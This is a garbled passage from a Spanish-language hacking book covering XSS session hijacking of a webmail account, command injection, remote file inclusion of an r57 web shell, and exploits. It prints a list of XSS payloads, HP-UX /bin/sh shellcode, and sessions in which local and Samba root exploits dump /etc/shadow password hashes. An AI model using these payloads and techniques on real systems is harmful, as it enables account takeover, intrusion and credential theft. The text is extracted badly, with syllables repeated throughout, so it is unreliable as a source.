Luego que la víctima hace click en el link que preparamos, auto Luego automá mátitica camen mente te se ejecuta cu ta el XSS en su máqui má quina na extra extrayen yendo do la infor informa mación ción de su cookie cookie (sesión (sesión en UbUbbi) y es redi rediri rigi gido do hacia las bases bases reales reales del concur concurso so de Harry Potter Potter (en ww w. ububbi.com/sms bi .com/sms/ba /bases ses _harr _harry.asp). y.asp). Mientras esta lee las bases Mientras ba ses del concur concurso, so, a noso nosotros tros nos llega llega la infor informa mación ción de la cookie coo kie a tra vés del cliente de correo Outlook Ou tlook Express, -enviada por el servidor en donde tenemos alojados los scripts PHP- de modo totalmente silencioso.
Mail. Aquí
vemos ve mos la infor informa mación ción tal como como llegó a nuestro nuestro correo correo luego luego de que la vícti víc tima ma hizo hizo un click en el link.
Ahora vere Ahora veremos mos cómo cómo utili utilizar zar esa infor informa mación ción para para estar estar dentro dentro de su Mailbox. Mailbox. Para eso, utili utiliza zare remos mos un proxy, en este este caso caso Snark, para para modi modifi ficar car la peti petición ción y manmandar la cookie cookie en via viada da a Ubbi Ubbi y que así el ser vidor vidor nos deje deje entrar entrar como como si fuéra fuéramos mos el verda verdade dero ro dueño dueño de la casi casilla. lla.
150
Bases
.
La victima sin notar nada, ha sido redirigida a las bases del concurso. concurso.
Ejecuta Ejecu tamos mos Snark, vamos vamos con el browser browser a http://mai http://mail.ub l.ubbi bi.co .com/in m/inbo box.asp?fld=1 x.asp?fld=1 (esta (es ta URL la obtu obtu vi vimos mos al estar estar loguea logueados dos cuando cuando abrimos abrimos una cuenta cuenta de prueba prueba en Ubbi) Ubbi) y vemos vemos que apare aparece ce la peti petición ción para para ser edita editada. da.
Proxy. Al
pasar pa sar la peti petición ción el proxy Snark, esto nos da la posi po sibi bililidad dad de cambiar cambiar al vuelo vuelo los valo valores res que llegan llegan hasta hasta el servi servidor dor de Ubbi. Ubbi.
En esa panta pantalla, lla, reempla reemplaza zamos mos los valo valores res de cookie cookie por los que nos llega llegaron ron por e-mail y los en via viamos mos al ser vidor vidor de Ubbi. Ubbi. Así, el session session hijac hijacking king ha conclui concluido. do. 151
Sesión sión Bienvenido. Se
dentro den tro de la casi casilla lla de la vícti tima ma sin cono conocer cer el password, pass word, a través través de Inter Internet net Explo Explorer. rer. Esta Esta vulne vulnera rabi bililidad dad fue repor re porta tada da al perso personal nal de segu seguri ridad dad infor informá máti tica ca de Ubbi Ubbi (AGEA S.A.) en enero del 2008.
Existen empleos Existen empleos mucho mucho más comple complejos jos de XSS, tanto tanto para para lograr lograr el XSS en el sitio vulne vulnera rable ble como como para para atacar atacar a una vícti víctima ma desde desde un sitio sitio vulne vulnera rable. ble. Es reco reco-menda men dable ble estu estudiar diar tres cosas cosas en espe especial cial acerca acerca de esta esta técni técnica ca (que muchos muchos subes subes-titiman man y que es de un poten potencial cial tremen tremendo do en manos manos de alguien alguien con inge ingenio): nio): • El exce celen lente te libro libro sobre sobre Cross Site Site Scripting, Scripting, edita editado do por Syngress, Syngress, titu titula lado do Cross Site Si te Scripting Scripting Attacks Attacks XSS Exploits Exploits and Defen Defense se (2007). Entre Entre sus redac redacto tores, res, se encuen en cuentra tra Petko Petko Petkov Petkov de GNUCI GNUCI TIZEN. TIZEN. • La herra rramien mienta ta XSS-Proxy, que pode podemos mos encon encontrar trar en http://xss-proxy.sour http://xss-proxy.source ce-forge for ge.net .net junto junto a algu algunos nos exce excelen lentes tes docu documen mentos. tos. • Visi sitar tar www.xs sitio en donde donde pode podemos mos encon encontrar trar exce excelen lentes tes notas, notas, www.xssed sed.com .com, un sitio ejemplos ejem plos y listas listas de sitios sitios vulne vulnera rables. bles.
152
Sitio tio Xssed. Si
dedi de dica cado do exclu exclusi siva vamen mente te a cuestio cuestiones nes rela relacio ciona nadas das con el Cross Site Site Scripting. Scripting. Ésta Ésta es la sección sec ción de artí artícu culos: los: www.xssed www.xssed.co .com/ar m/arti ticles cleslist list
.
XSS afecta afecta tanto tanto a los visi visitan tantes tes de sitios sitios como como a los usuarios usuarios y sus admi adminis nistra trado do-res o agentes agentes de la orga organi niza zación. ción. No hay que subes subestitimar mar el XSS. Algu Al gunos nos códi códigos gos para pa ra la compro comproba bación ción de la vulne vulnera rabi bililidad: dad: alert(‘xss’);// %3Cscript%3Ealert(‘XSS’)%3C/script%3E ;alert(%22XSS%22);// <script>alert(‘XSS’) > vascript:alert(‘XSS’)> VaScRiPt:alert(‘XSS’)> vascript:alert("XSS")> `> < “””>ale T>alert(“X rt(“XSS”)< SS”)”> PT>”> vascript:alert(String.fromCharCode(88,83,83))> ie)’>
153
“><script>” <script>alert(“XSS”) <<script>alert(“XSS”);//< <<script>alert(“XSS”);//< <script>alert(document.cookie) ‘><script>alert(document.cookie) ‘><script>alert(document.coo kie) ‘><script>alert(document.cookie); ‘><script>alert(document.coo kie); \”;alert(‘XSS’);// %22;alert(%22XSS%22);// %3cscript%3ealert(“XSS”);%3c/script%3e %3cscript%3ealert(document.cookie);%3c%2fscript%3e %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E <script>alert(document.cookie); <script>alert(document.cookie);<script>alert <script>alert(‘XSS’) <script>alert(‘XSS’) ”> ”> ”> ”> )”> )”>
Si queremos ver más ejemplos, podemos visitar la página de d e RSnake, en la siguiente dirección http http://ha.c ://ha.cker kers.org/xss.html. s.org/xss.html.
15 maneras de comprometer una casilla de correo Además del XSS, existen Además exis ten algu algunos nos otros méto métodos dos (entre (entre simples simples y avanza avanzados) dos) para para compro com prome meter ter una casi casilla lla de correo correo electró electróni nico. co. Consejo para usuarios de Internet noScript cript (http http://nos ://noscript cript.net .net) para Conviene Convie ne utili utilizar zar el browser browser Fire Firefox fox con el comple com plemen mento to noS para no sufrir su frir los XSS. No hace ha ce falta falta hacer hacer clic en un link o botón bo tón para para ser vícti víc tima ma de Cross Site Site ScripScripting, pode podemos mos serlo serlo simple simplemen mente te entran entrando do en un sitio, sitio, al visua visuali lizar zar un e-mail o un mensa men sa je de foro fo ro y de modo modo total totalmen mente te transpa transparen rente te sin aviso aviso y sin notar notarlo. lo.
154
• • • • • • • • • • • • • • •
Probar pass words comu comunes, nes, lógi lógicos cos y los cono conoci cidos dos en versio versiones nes evolu evolucio ciona nadas. das. Probar pass words que el usuario usuario utili utiliza za en otros lados. lados. Apelar al vulne vulnera rable ble factor factor huma humano no (inge (ingenie niería ría social). social). Grabar las pulsa pulsacio ciones nes del tecla teclado do median mediante te un keylog keylogger ger de soft ware ware o de hard wa ware re.. Sacar cla ves alma almace cena nadas das en un pro vee veedor dor de Inter Internet net (ISP). Sacar cla ves en trán tránsi sito to entre entre el ser vi vidor dor y la termi terminal nal (sniffing). (sniffing). Por re retrie ve: en viar viarla la a otro e-mail al que sí tene te nemos mos acce acceso. so. Por ex explo plota tación ción de una vulne vulnera rabi bililidad dad median mediante te exploits exploits en la máqui máquina na del usuausuario o median mediante te shares shares (carpe (carpeta ta o disco disco compar compartitido). do). Por su sustrac tracción ción de cla ves en apli aplica cacio ciones nes y ser vido vidores res de terce terceros. ros. Porr fue Po fuerrza bruta. bruta. Entrar vía log de HTTP_RE HTTP_REFE FERER RER (varia (variable ble prede predefi fini nida da de PHP, www.phpfreaks www.phpfreaks-.com/PHP_Re .com/PH P_Refe feren rence ce/Pre /Prede defi fined-Va ned-Varia riables/8.php) bles/8.php) direc directo to a la casi casilla lla sin cla ve. Asalto físi físico co a la máqui máquina na de la victi victima ma vía USB u otro puerto puerto o unidad. unidad. Evasión de pregun pregunta ta secre secreta ta u otro dato dato a tra vés de SQL Injec In jection. tion. Méto todos dos avanza avanzados dos o comple complejos jos como como Ea ves vesdrop dropping ping (ver el conte conteni nido do de un moni mo nitor tor por emisión emisión de radia radiación). ción). Méto todos dos de campo campo como como Trashing Trashing (re vi visar sar la basu basura), ra), shoulder shoulder surfing (mirar (mirar cuando cuando un usuario usuario teclea), teclea), filma filmación ción del tecla teclado, do, mirar mirar si no lo tiene tiene anota anotado do en un papel papel en el escri es crito torio, rio, deba debajo jo del tecla teclado, do, en el CPU o con un Post-It pega pegado do en el moni monitor. tor.
Ejecu Eje cución ción remo remota ta de coman comandos dos e inclu inclusión sión de archi archivos vos La progra programa mación ción PHP en los sitios sitios juega juega un rol muy impor importan tante. te. Los archi archi vos vos inincluidos clui dos en un sitio sitio progra programa mado do de modo modo inse insegu guro ro permi permititirán, rán, entre entre otras cosas: cosas: • Ejecu cutar tar coman comandos dos de siste sistema ma dentro dentro del ser vidor. vidor. • Subir archi archi vos vos (scripts de eje ejecu cució ción/ex n/explo plora ración) ción) al ser vidor, vidor, técni técnica ca cono conoci cida da como co mo Re Remo mote te file file inclu inclusion sion. En el primer primer caso, caso, se apro ve vecha cha el script mal progra pro grama mado do en PHP para para que, lueluego de que éste éste cumpla cumpla la función función que en un inicio inicio el progra programa mador dor ideó, segui seguida da-mente men te ejecu ejecute te un coman comando do de siste sistema. ma. ¿Cómo ¿Cómo lograr lograr esto? esto? Simple Simplemen mente, te, buscar buscar la conca concate tena nación ción de las accio acciones nes agregan agregando do un punto punto y coma coma antes antes del coman comando do en un campo campo de datos datos (en este este caso) caso) por proce procesar. sar. Por ejemplo: ejemplo: www www.si .sitio tio vul vulne nera rable ble-punto y coma coma en Linux Linux es usado usado .com/ping.php .com /ping.php?=va ?=valor-real lor-real;co ;coman mando-li do-linux nux. El punto para pa ra sepa separar rar coman comandos dos por ejecu ejecutar tar en una secuen secuencia: cia: coman comando do1;co 1;coman mando do2;co 2;coman man-do3.
155
Comando. Aquí,
en el campo campo de datos datos de un script que hace ha ce pings a hosts remo re motos, tos, se intro introdu du jo el coman co mando do listar listar ;ls –al en lu lugar de una direc di rección ción IP. Como Co mo resul resulta tado, do, obte obtene nemos mos una lista lista deta detalla llada da de los archi ar chivos vos que se encuen encuentran tran en el mismo mis mo direc directo torio rio que el script que reali rea liza za pings.
En el segun segundo do ejemplo, ejemplo, para para re lugar de colo colocar car un cocoremo mote te file file inclu include de, en lugar mando man do en el URL se intro in trodu duce ce una direc dirección ción web con el archi archi vo vo des descar carga gable ble o ejecu eje cuta table ble en el host vícti víctima. ma. El archi archi vo vo pue puede de bajar bajarse se o bien, bajar bajarse se y acto acto segui seguido do ejecu ejecutar tarse. se. Por ejemplo: ejemplo: www www.si .sitio tio vul vulne nera rable ble.com .com/mos /mostra trar.asp r.asp?fi ?file=www. le=www. sitio sitioma malig lig-no.co no .com/ar m/archi chi vomaligno vomal igno.txt .txt .
156
ShellPHP. En
el URL se reempla reem plaza za parte parte de la direc di rección ción para para agregar agregar el backdoor backdoor R57Shell R57Shell 1.31 (www.r57.li/r57.txt?) (www.r57.li/r57.txt?) y así ejecu eje cutar la in inter terfaz faz gráfi gráfica ca de coman comandos dos en el servi ser vidor. dor.
El progra programa mador dor y el admi adminis nistra trador dor del ser vidor vidor debe deberán rán tomar tomar las precau precaucio ciones nes necesa ce sarias rias en el dise diseño ño de la aplica aplicación ción o de los scripts para para luego luego testear testearlos los y así desdespejar pe jar dudas. dudas. Un buen recur recurso so para para empe empezar zar a hacer hacerlo lo es estu estudiar diar la guía de segu seguri ri-dad PHP ( http://phpse http://phpsec.org c.org/pro /projects jects/gui /guide de ).
Progra Pro grama mación ción inse insegu gura: ra: exploits exploits Los exploits exploits son, en su mayo mayoría, ría, peque pequeños ños progra programas mas arte artesa sana nales les (algu (algunos nos extre extrema ma-damen da mente te comple complejos) jos) que, al ser ejecu eje cuta tados dos y si son funcio funciona nales, les, se apro ve vechan chan de un bug (descui (descuido do de progra programa mación) ción) en el obje objetiti vo. vo. El nom nombre bre pro vie viene ne de to exexexplotar, tar, que signi signifi fica ca apro ve vechar charse se de la vulne vulnera rabi bililidad. dad. ploit o explo Pueden Pue den estar estar creados creados espe especí cífi fica camen mente te para para demos demostrar trar una falla falla (POC, Proof Of prueba de concep concepto) to) en deter determi mina nada da aplica aplicación ción o parte parte del siste sistema ma opeopeConcept Con cept, prueba Exploits y advisories Aquí están están los sitios sitios de algu algunas nas de las perso per sonas nas y grupos grupos que escri escribie bieron ron (e hicie hicieron ron públi públicos) cos) advi viso sories ries (avi inte in tere resan santes tes exploits exploits o ad (avisos sos de segu seguri ridad dad que permi permiten ten escri escribir bir exploits exploits por su http://pac ://packets ketstorm torm.li .linux nuxse secu curity rity.com .com/groups /groups/te /teso/ so/), fuente fuen te de datos datos técni técnicos cos del bug): TESO TESO ( http www.nsfo focus cus.co .com/en/ m/en/) y Solar www.phree reedo dom.org m.org/so /sola lar/ex r/exploits/ ploits/). NSFo NS Focus cus (www.ns Solar Eclipse Eclipse (www.ph
157
rati vo rati vo (ser vicio, vicio, bina binario rio o kernel) kernel) en una audi audito toria ria de códi código go o research research liga ligado do a seseguri gu ridad dad (testear (testear si un siste sistema ma está está asegu asegura rado do correc correcta tamen mente), te), o bien para para come cometer ter un acto acto no auto autori riza zado do en un siste sistema, ma, una intru intrusión sión (obten (obtención ción de una shell remo remo-ta sin auto autori riza zación), ción), ele va vación ción de pri vile vilegios gios (obte (obtener ner permi permisos sos de root o system), system), dene de nega gación ción de ser vicios vicios o destruc destrucción ción de infor informa mación. ción. El obje objetiti vo vo propio pro pio o ajeno ajeno de testear testearse se con el exploit exploit está está en la deci decisión sión de quien lo mani manipu pula, la, ya que por sí solo so lo no es un progra programa ma malig maligno. no. Si cae en manos ma nos de un script kiddie, kiddie, deja dejaría ría de tener tener propó propósi sitos tos educa educatiti vos vos ya que éste éste no va probar probar deter deter-mina mi nada da falla falla en una in ves vestitiga gación ción seria. seria.
Anti tiguo guo Mirror. An
repo re posi sito torio rio de exploits exploits libres libres al públi público. co. Se encon encontra traba ba en la direc dirección ción http://hack http://hack.co .co.z .zaa y hoy hoy pue puede de verse verse en uno de los pocos po cos mirrors mi rrors que queda que daron: ron: http://dark http://darknet net.hac .hacklib klib.com/lynx.html. .com/lynx.html.
Exploits Ex ploits loca locales les y remo remotos tos
Los exploits exploits loca locales les se ejecu ejecutan tan dentro dentro de una shell para para apro ve vechar charse se de algo algo que está es tá dentro dentro de ese contex contexto to o siste sistema ma opera operatiti vo, vo, y los re r emo motos tos (si bien también también se ejecu eje cutan tan en una shell y es posi posible ble hacer hacerlo lo contra contra la misma misma shell), el obje objetiti vo vo en e n la mayo ma yoría ría de los casos casos esta estará rá en otro host o direc dirección ción IP, ya sea a tra vés tra vés de In Inter ter-net o de una red local local e inter interna. na. 158
Aunque común Aunque comúnmen mente te los encon encontra trare remos mos escri escritos tos en C y assembly, assembly, los exploits exploits puepueden estar estar progra programa mados dos en varios varios lengua lenguajes, jes, ya que hay en Perl, Python, Python, C++, enentre otros. Éstos, Éstos, a su vez, pueden pue den encon encontrar trarse se compi compila lados dos o no, como como también también disdisponi po nibles bles para para las más di versas versas arqui arquitec tectu turas. ras. Para Pa ra ver algu algunos nos ejemplos, ejemplos, pode podemos mos visi visitar tar sitios como www www.milw0rm .milw0rm.com .com o complejos jos y los que usualmen usualmente te se utiuti www.pac www .packets ketstorm tormse secu curit rit y.org y.org. Los más comple lilizan, zan, son aquellos aquellos que se apro ve vechan chan de una condi condición ción deno denomi mina nada da desbor desborda da-miento mien to de buffer buffer (buffer (buffer overflow). overflow). ¿Qué es esto? esto? La mejor mejor defi defini nición ción se encuen encuentra en el diccio dicciona nario rio Jargon Jargon (www.jar (www.jargon gon.net .net/jar /jargon gonfi file/s/s le/s/smasht mashthes hestack.html) tack.html) y dice di ce “ smash the stack (ba (bajo jo progra programa mación ción C). En algu algunas nas imple implemen menta tacio ciones nes de C es posi posible ble corrom corromper per la pila pila de ejecu ejecución ción (exe(execution cu tion stack) escri escribien biendo do más allá del fin de una cade ca dena na decla declara rada da auto auto en una rurutitina. na. El códi código go que hace hace esto esto posi posible ble se dice dice que desbor desborda da la pila pila (smash the stack) y puede puede causar causar el retor retorno no de la ruti rutina na y el salto salto a una direc dirección ción casual. casual. Esto Esto puede puede produ pro ducir cir algu algunos nos de los más malig malignos nos bugs cono conoci cidos dos hasta hasta ahora. ahora. Existen Existen ciertas ciertas varian va riantes tes (de traduc traducción ción lite literal ral dudo dudosa) sa) que reci reciben ben los siguien siguientes tes nombres nombres en ininglés: trash the stack, scribble scrib ble the stack, mangle mangle the stack. También También se suele suele usar papara descri describir bir smash the stack: alias bug, fandan fan dango go on core, core, memory memory leak, prece preceden den-ce lossa lossage, ge, overrun overrun screw.” Pode Podemos mos encon encontrar trar esto esto en el exce excelen lente te texto texto de Aleph One publi publica cado do en la phrack phrack N.° 49 y tradu tra duci cido do por Hono Honoriak riak al espa español ñol en julia ju lianor nor.tri .tripod pod.com/bc/s .com/bc/smas mashing/P49-4-Smas hing/P49-4-Smashing_t hing_the_s he_stack-Spa tack-Spanish.txt. nish.txt. En pocas pocas pala palabras, bras, una vez que el exploit ex ploit logra logra desbor desbordar dar el buffer, buffer, inyec inyecta ta los cocomandos man dos decla declara rados dos en el shellco shellcode de (progra (programa mado do gene general ralmen mente te en assembly, assembly, pero pero escri es crito to en forma formato to hexa hexade deci cimal). mal). Un coman comando do que se ejecu ejecuta tará rá para para apro ve vechar charse se de esa condi condición ción BOF (Buffer (Buffer Overflow) Overflow) y lograr lograr así el propó propósi sito. to. Éste És te sería sería sólo sólo el shellco shellcode de para para ejecu ejecutar tar una shell en la plata pla tafor forma ma HP-UX. /* *
Hp -Ux
* *
ex ecv e( ) of / b in / sh b y K 2
*/ u_char u_c har she shellc llcode ode[] [] = “\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40” “\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe” “\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe “\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\x de\xad\xca\xfe /bin/sh\xff”;
Para Pa ra más deta detalles lles técni técnicos, cos, pode podemos mos visi visitar tar http://good http://goodfe fellas.s llas.shell hellco code de 159
.com.ar/docz .com.ar /docz/bof /bof/bof-for /bof-forkidz-es.txt kidz-es.txt o el tuto tutorial rial de shellco shellcoding ding que encon encontra tramos mos en www.vi www.vi vidma vidmachi chines nes.com/s .com/shell hellco code/s de/shell hellco code.html de.html Éste És te es un simple simple ejemplo ejemplo (output) (output) de ejecu ejecución ción para para exploit exploit local local (explo (explota ta un bug del kernel kernel del Linux Linux en el que esta estamos) mos) para para ele var pri vile vilegios, gios, luego luego de ser escri escrito to en la shell median mediante te el editor editor vi: —8< lab@www2:/tmp$ gcc c.c -o c
(se compila)
lab@www2:/tmp$ ./c (se ejecuta el compilado) [+] Attached to 24087 [+] Signal caught [+] Shellcode placed at 0x4000e61d [+] Now wait for suid shell... sh-2.05a# cat /etc/shadow (aquí, como root vemos el archivo shadow) root:cshEOcCXG6Y1w:11790:0:99999:7::: daemon:*:11773:0:99999:7::: bin:*:11773:0:99999:7::: news:*:11773:0:99999:7::: uucp:*:11773:0:99999:7::: proxy:*:11773:0:99999:7::: —8<
A cont continuac inuación, ión, vemo vemoss el ejem ejemplo plo de un exploit exploit remo remoto to que, al ser ejecu eje cuta tado do con la direc dirección ción IP del obje objetiti vo, vo, nos da en él una shel shelll di direc recta tamen mente te con pri vi vilegios le gios de root a tra vés del ser ser vi vicio cio Samba. Samba. [roo [r oot@ t@ro root otla labs bs]# ]# ./ ./ss ss -b 0 di dire recc cció iónn-ip ip-r -rem emot ota a
(eje (e jecu cuci ción ón) )
samba-2.2.8 < remote root exploit by eSDee (www.netr tri ic.org|be) ——————————————————————————————— —————————————————————————————— + Bruteforce mode. (Linux) + Host is running samba. + Worked! ——————————————————————————————— —————————————————————————————— *** JE MOET JE MUIL HOUWE
160
Linux it100 2.4.20-ac2 #1 Sun Mar 5 04:20:06 MST 2006 i686 unknown uid=0( uid =0(roo root) t) gid gid=0( =0(roo root) t) gro groups ups=13 =13543 543236 2365,9 5,98(n 8(nobo obody) dy) su root cat ca t /et etc/ c/is issue sue Welcome to \s \r \r (\l) cat /e cat /etc tc/s /sha hado dow w root:$1$El01X6Rb$c/6WyBkNQgmvQ3hcBe5/D/:12111:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: smmsp:*:9797:0::::: —8<
A conti continua nuación, ción, veamos veamos algu algunas nas pala palabras bras utili utiliza zadas das a modo modo de lunfar lunfardo do o slang rela re lacio ciona nadas das con los exploits. exploits. Conseguir guir uid0: Es por uid (user ID) 0 (cero). • Conse (ce ro). Es refe referen rente te al usuario usuario root, conse con seguir guir pri vile vilegios gios de root.
• Es pau Disparar rar una shell, bindear. bindear. Hacer Hacer paunear near una shell (to spawn a shell): Dispa que una shell sea habi habililita tada da (en via viada) da) por la vícti víctima ma al atacan atacante, te, pudien pudiendo do éste éste contar con tar con una sesión sesión inte interac ractiti va va median mediante te coman comandos. dos. • Roo Conseguir guir pri vile vilegios gios de root. Rootear, tear, rutear, rutear, enru enrutear tear: Conse • 0wned, p0wned, Adueñado, do, que le in va vadie dieron ron la máqui máquina, na, pápáp0wned, owned, owned, pwned pwned: Adueña gina gi na web o ser ver ver a la vícti víctima. ma. Es una forma forma cíni cínica ca de decir decir que alguien alguien fue comcomprome pro metitido do (en parte parte de su esce escena nario rio o pri vaci vacidad) dad) median mediante te técni técnicas cas de hacking. hacking. • Priv8 (keep in priv8): priv es pri vate vate (pri vado), vado), 8 es eigth. Así, pri veigth suena na veigth sue como co mo pri vate inglés. Se utili utiliza za para para anunciar anunciar que se manten mantenga ga en pri vado vado el vate en inglés. exploit ex ploit y no se haga haga públi público. co. • 0day o Zero Exploit pri vado, vado, no públi público. co. Zero Day: Exploit • Ex plo Exploit recien reciente te que se está está usando usando para para come cometer ter intru intrusio siones nes al ploit it in in the the wild wild: Exploit azar o masi masi vas vas sobre sobre ser vicios vicios y que existe existe un ad vi visory sory de la falla falla que explo explota ta.. 161
www.milw0rm.com
Aquí podemos encontrar muchos exploits locales y remotos, de las más variadas plataformas y aplicaciones, publicados por sus propios autores. Contaremos también con un sistema de desciframiento online de contraseñas hasheadas en algoritmo MD5, videos de técnicas de intrusión y artículos interesantes acerca de seguridad.
162